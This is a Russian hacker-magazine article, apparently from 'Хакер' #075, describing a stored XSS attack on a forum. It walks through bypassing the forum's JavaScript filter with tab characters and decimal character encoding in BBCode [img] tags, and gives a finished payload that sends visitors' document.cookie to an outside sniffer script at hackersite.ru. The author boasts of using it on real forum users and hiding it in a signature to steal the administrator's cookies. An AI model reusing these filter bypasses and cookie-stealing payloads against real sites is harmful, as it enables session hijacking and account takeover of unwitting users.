Жук для опытов .::Gh0st::. && BlackPrince Хакер, номер #075, стр. 075-068-2 Прежде чем добавлять злое сообщение, я, конечно же, проверил, как оно функционирует в режиме предпросмотра. Работало все на ура, кукисы исправно отсылались мне на мыло. Но когда я, наконец, опубликовал злое сообщение на форуме, возникла неожиданная проблема, сформулированная очень четко следующей фразой форумного движка: «Active link containing JavaScript has been removed automatically». Даже для человека, не владеющего английским языком, было ясно: фокус не удался. Разработчики предусмотрели подобную активность хакеров и фильтровали javascript. Это заставило призадуматься. По каким признакам происходит фильтрация? И есть ли возможность ее обойти? На первый вопрос ответ был получен практически сразу: если в слово «javascript» вставить символ табуляции, то фильтр пропустит его. В случае с [img size=150]java’ ‘script:alert('hello')[/img] (не пробел, а именно табуляция) посетителей топика можно было встречать приветствием. Однако в случае с [img size=150]"style=background:url(javascript:alert('hello'));[/img] это не работало. По внимательном рассмотрении html-кода, получаемого после обработки, стало ясно, что символ табуляции работает как разделитель атрибутов тэга и ломает вредоносную конструкцию. Поясню на примере: 1. <img src="javascript:alert('hello');" border"0" width="150"> - в данном случае выполнение скрипта ничем не ограничено, но режется фильтром. 2. <img src="javas cript:alert('hello');" border"0" width="150"> - этот вариант пропускается фильтром и выполняется. 3. <img src=""style=background:url(java script:alert('hello'));" border"0" width="150"> - пропускается фильтром, но не работает. 4. <img src=""style=background:url(javascript:alert('hello'));" border"0" width="150"> - работает, но режется фильтром. В приведенном примере видно, что в третьем случае символ табуляции служит разделителем тэга в паре с предыдущей кавычкой. Поэтому пришлось идти другим путем. А именно попробовать закодировать слово «javascript» так, чтобы оно воспринималось фильтром как незнакомое. После нескольких вариантов я создал конструкцию вида javascript, что в переводе c десятичного представления означает слово «javascript». Итак, наконец, получено зло-сообщение следующего вида: [img size=150]"style=background:url(javascript:document.images[0].src="http://www.hackersite.ru/sniff.php?"+document.cookie);[/img] После этого я зашел на форум и создал несколько сообщений, передавая всем горячий привет и попутно вставляя свой скрипт. Через несколько минут мне на мыло прилетели первые кукисы пользователей. Только я собрался разбираться с добычей, как обратил внимание, что какой-то умник решил процитировать мое сообщение, в результате чего опять появилась предательская надпись о вырезанном JS-скрипте. Срабатывала обратная перекодировка. Чтобы избежать такого жесткого палева, я быстренько удалил скрипты из своих мессаг, зашел в профиль и в качестве подписи вставил полученную хитроумную конструкцию. Теперь ловушка стала незаметной, а через пару часов я получил и кукисы негодяйского администратора. |